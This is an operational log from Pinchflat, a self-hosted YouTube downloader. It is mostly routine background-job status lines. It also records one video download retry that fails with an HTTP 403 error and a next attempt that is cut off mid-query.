[info] {"source":"oban","duration":511,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:00.475 [info] {"source":"oban","duration":231,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:26:21.212 [info] {"source":"oban","duration":342,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:26:51.214 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:00.476 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:27:21.215 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:27:51.216 [info] {"source":"oban","duration":739,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:00.477 [info] {"source":"oban","duration":188,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:28:21.217 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:28:51.218 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:00.478 [info] {"source":"oban","duration":185,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:29:21.219 [info] {"source":"oban","duration":798,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:29:51.220 [info] {"source":"oban","duration":801,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:00.479 [info] {"source":"oban","duration":287,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:30:21.222 [info] {"source":"oban","duration":746,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:30:51.223 [info] {"source":"oban","duration":599,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:00.480 [info] {"source":"oban","duration":293,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:31:21.224 [info] {"source":"oban","duration":704,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:31:51.225 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:00.481 [info] {"source":"oban","duration":175,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:32:21.227 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:32:51.228 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:00.482 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:33:21.229 [info] {"source":"oban","duration":685,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:33:51.230 [info] {"source":"oban","duration":612,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:00.483 [info] {"source":"oban","duration":228,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:34:21.231 [info] {"source":"oban","duration":678,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:34:51.232 [info] {"source":"oban","duration":836,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:00.484 [info] {"source":"oban","duration":254,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:35:21.234 [info] {"source":"oban","duration":807,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:35:51.236 [info] {"source":"oban","duration":701,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:00.485 [info] {"source":"oban","duration":221,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:36:21.237 [info] {"source":"oban","duration":698,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:36:22.919 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775028982919204982,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:36:22.919 [debug] QUERY OK source="media_items" db=0.1ms idle=391.8ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 WHERE (m0."id" = ?) [13061] 03:36:22.919 [info] User scripts lifecyle file either not present or is empty. Skipping. 03:36:22.920 [debug] QUERY OK source="sources" db=0.1ms idle=392.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" = ?) [3] 03:36:22.920 [debug] QUERY OK source="media_profiles" db=0.1ms idle=392.6ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:36:22.921 [debug] QUERY OK source="media_items" db=0.3ms idle=8.1ms SELECT 1 FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE ((m0."id" = ?) AND (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds")))) LIMIT 1 [13061] 03:36:22.921 [debug] QUERY OK source="media_metadata" db=0.0ms idle=2.4ms SELECT m0."id", m0."metadata_filepath", m0."thumbnail_filepath", m0."media_item_id", m0."inserted_at", m0."updated_at", m0."media_item_id" FROM "media_metadata" AS m0 WHERE (m0."media_item_id" = ?) [13061] 03:36:22.921 [debug] QUERY OK source="media_profiles" db=0.1ms idle=2.0ms SELECT m0."id", m0."name", m0."redownload_delay_days", m0."output_path_template", m0."download_subs", m0."download_auto_subs", m0."embed_subs", m0."sub_langs", m0."download_thumbnail", m0."embed_thumbnail", m0."download_source_images", m0."download_metadata", m0."embed_metadata", m0."download_nfo", m0."sponsorblock_behaviour", m0."sponsorblock_categories", m0."shorts_behaviour", m0."livestream_behaviour", m0."audio_track", m0."preferred_resolution", m0."media_container", m0."marked_for_deletion_at", m0."inserted_at", m0."updated_at", m0."id" FROM "media_profiles" AS m0 WHERE (m0."id" = ?) [1] 03:36:22.922 [debug] QUERY OK source="settings" db=0.0ms idle=2.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:22.922 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:22.922 [debug] Running yt-dlp command for action: get_downloadable_status 03:36:22.923 [debug] QUERY OK source="settings" db=0.0ms idle=1.8ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:22.923 [debug] QUERY OK source="settings" db=0.0ms idle=1.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:22.923 [debug] QUERY OK source="settings" db=0.0ms idle=1.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:22.923 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/b4/51b4f19b8b21dfa7ac8d56de16da2f7573c649e7f423e73db677195b2f99d338.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:36:26.840 [debug] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --simulate --skip-download --print-to-file %(.{live_status})j /tmp/pinchflat/data/51/b4/51b4f19b8b21dfa7ac8d56de16da2f7573c649e7f423e73db677195b2f99d338.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 0 with: 03:36:26.840 [debug] Running yt-dlp command for action: download 03:36:26.841 [debug] QUERY OK source="settings" db=0.1ms idle=924.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:26.841 [debug] QUERY OK source="settings" db=0.1ms idle=313.4ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:26.841 [debug] QUERY OK source="settings" db=0.1ms idle=313.6ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 03:36:26.841 [info] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/31/fb315580f90b3f7a21e9b188a59105da5bf349fd01bb558ace8805363ab2fb93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache 03:36:31.611 [error] [command_wrapper]: /usr/local/bin/yt-dlp called with: https://www.youtube.com/watch?v=RdZn86fOHqA --no-simulate --no-progress --no-force-overwrites --parse-metadata %(upload_date>%Y-%m-%d)s:(?P.+) --write-thumbnail --convert-thumbnail jpg --output thumbnail:/downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S]-thumb.%(ext)S --embed-thumbnail --convert-thumbnail jpg --write-info-json --clean-info-json --embed-metadata --remux-video mp4 --format-sort res:1080,+codec:avc:m4a --format bestvideo*+bestaudio/best --sponsorblock-mark sponsor,intro,selfpromo,filler,interaction --output /downloads/Tasting History with Max Miller/%(upload_date>%Y-%m-%d)S %(title)S/%(title)S [%(id)S].%(ext)S --print-to-file after_move:%()j /tmp/pinchflat/data/fb/31/fb315580f90b3f7a21e9b188a59105da5bf349fd01bb558ace8805363ab2fb93.json --windows-filenames --quiet --cache-dir /tmp/pinchflat/data/yt-dlp-cache exited: 1 with: ERROR: [download] Got error: HTTP Error 403: Forbidden ERROR: fragment 1 not found, unable to continue WARNING: Unable to download format 96. Skipping... ERROR: unable to download video data: HTTP Error 403: Forbidden 03:36:31.611 [error] yt-dlp download error for media item #13061: "ERROR: \r[download] Got error: HTTP Error 403: Forbidden\nERROR: fragment 1 not found, unable to continue\nWARNING: Unable to download format 96. Skipping...\nERROR: unable to download video data: HTTP Error 403: Forbidden\n" 03:36:31.612 [info] {"error":"** (Oban.PerformError) Pinchflat.Downloading.MediaDownloadWorker failed with {:error, :download_failed}","args":{"id":13061},"id":1740,"meta":{},"state":"failure","max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","duration":8692621,"event":"job:exception","queue_time":860790,"attempt":11,"tags":["media_item","media_fetching","show_in_dashboard"]} 03:36:51.238 [info] {"source":"oban","duration":732,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:00.486 [info] {"source":"oban","duration":215,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:37:21.239 [info] {"source":"oban","duration":639,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:37:51.240 [info] {"source":"oban","duration":583,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:00.487 [info] {"source":"oban","duration":242,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:38:21.241 [info] {"source":"oban","duration":825,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:38:51.243 [info] {"source":"oban","duration":656,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:00.488 [info] {"source":"oban","duration":176,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:39:21.244 [info] {"source":"oban","duration":650,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:39:51.245 [info] {"source":"oban","duration":695,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:00.489 [info] {"source":"oban","duration":338,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:40:21.247 [info] {"source":"oban","duration":591,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:40:51.247 [info] {"source":"oban","duration":499,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:00.490 [info] {"source":"oban","duration":226,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:41:21.249 [info] {"source":"oban","duration":554,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:41:51.250 [info] {"source":"oban","duration":684,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:00.491 [info] {"source":"oban","duration":323,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:42:21.251 [info] {"source":"oban","duration":769,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:42:51.253 [info] {"source":"oban","duration":816,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:00.493 [info] {"source":"oban","duration":357,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:43:21.255 [info] {"source":"oban","duration":671,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:43:51.256 [info] {"source":"oban","duration":658,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:00.493 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:44:21.257 [info] {"source":"oban","duration":648,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:44:51.258 [info] {"source":"oban","duration":731,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:00.494 [info] {"source":"oban","duration":114,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:45:21.259 [info] {"source":"oban","duration":817,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:45:51.261 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:00.496 [info] {"source":"oban","duration":362,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:46:21.262 [info] {"source":"oban","duration":624,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:46:51.263 [info] {"source":"oban","duration":664,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:00.496 [info] {"source":"oban","duration":190,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:47:21.264 [info] {"source":"oban","duration":688,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:47:51.265 [info] {"source":"oban","duration":634,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:00.497 [info] {"source":"oban","duration":244,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:48:21.266 [info] {"source":"oban","duration":722,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:48:51.267 [info] {"source":"oban","duration":713,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:00.498 [info] {"source":"oban","duration":229,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:49:21.268 [info] {"source":"oban","duration":620,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:49:51.269 [info] {"source":"oban","duration":734,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:00.499 [info] {"source":"oban","duration":256,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:50:21.270 [info] {"source":"oban","duration":818,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:50:51.272 [info] {"source":"oban","duration":791,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:00.500 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:51:21.273 [info] {"source":"oban","duration":767,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:51:51.275 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:00.501 [info] {"source":"oban","duration":186,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:52:21.276 [info] {"source":"oban","duration":729,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:52:51.277 [info] {"source":"oban","duration":696,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:00.502 [info] {"source":"oban","duration":180,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:53:21.278 [info] {"source":"oban","duration":657,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:53:51.279 [info] {"source":"oban","duration":626,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:00.503 [info] {"source":"oban","duration":241,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:54:21.280 [info] {"source":"oban","duration":805,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:54:51.282 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:00.504 [info] {"source":"oban","duration":222,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:55:21.283 [info] {"source":"oban","duration":755,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:55:51.284 [info] {"source":"oban","duration":673,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:00.505 [info] {"source":"oban","duration":210,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:56:21.285 [info] {"source":"oban","duration":461,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:56:51.286 [info] {"source":"oban","duration":712,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:00.506 [info] {"source":"oban","duration":208,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:57:21.287 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:57:51.288 [info] {"source":"oban","duration":654,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:00.507 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:58:21.289 [info] {"source":"oban","duration":613,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:58:51.290 [info] {"source":"oban","duration":675,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:00.508 [info] {"source":"oban","duration":371,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 03:59:21.291 [info] {"source":"oban","duration":720,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 03:59:51.292 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:00.509 [info] {"source":"oban","duration":71,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:00:21.293 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:00:51.294 [info] {"source":"oban","duration":635,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:00.510 [info] {"source":"oban","duration":202,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:01:21.295 [info] {"source":"oban","duration":721,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:01:51.296 [info] {"source":"oban","duration":710,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:00.511 [info] {"source":"oban","duration":255,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:02:21.297 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:02:51.298 [info] {"source":"oban","duration":677,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:00.512 [info] {"source":"oban","duration":181,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:03:21.299 [info] {"source":"oban","duration":666,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:03:51.300 [info] {"source":"oban","duration":651,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:00.513 [info] {"source":"oban","duration":269,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:04:21.301 [info] {"source":"oban","duration":655,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:04:51.302 [info] {"source":"oban","duration":715,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:00.514 [info] {"source":"oban","duration":227,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:05:21.303 [info] {"source":"oban","duration":665,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:05:51.304 [info] {"source":"oban","duration":652,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:00.515 [info] {"source":"oban","duration":219,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:06:21.305 [info] {"source":"oban","duration":691,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:06:51.306 [info] {"source":"oban","duration":833,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:00.516 [info] {"source":"oban","duration":172,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:07:21.308 [info] {"source":"oban","duration":627,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:07:51.309 [info] {"source":"oban","duration":750,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:00.517 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:08:21.311 [info] {"source":"oban","duration":611,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:08:51.312 [info] {"source":"oban","duration":643,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:00.518 [info] {"source":"oban","duration":201,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:09:21.313 [info] {"source":"oban","duration":615,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:09:51.314 [info] {"source":"oban","duration":646,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:00.519 [info] {"source":"oban","duration":224,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:10:21.315 [info] {"source":"oban","duration":686,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:10:51.316 [info] {"source":"oban","duration":661,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:00.520 [info] {"source":"oban","duration":174,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:11:21.317 [info] {"source":"oban","duration":588,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:11:51.318 [info] {"source":"oban","duration":703,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:00.521 [info] {"source":"oban","duration":230,"event":"plugin:stop","jobs":[],"plugin":"Oban.Plugins.Cron"} 04:12:21.318 [info] {"source":"oban","duration":430,"event":"plugin:stop","plugin":"Oban.Plugins.Pruner","pruned_count":0} 04:12:34.335 [info] {"args":{"id":13061},"id":1740,"meta":{},"system_time":1775031154335526151,"max_attempts":20,"queue":"media_fetching","worker":"Pinchflat.Downloading.MediaDownloadWorker","source":"oban","event":"job:start","attempt":12,"tags":["media_item","media_fetching","show_in_dashboard"]} 04:12:34.336 [debug] QUERY OK source="media_items" db=0.3ms idle=1807.1ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM 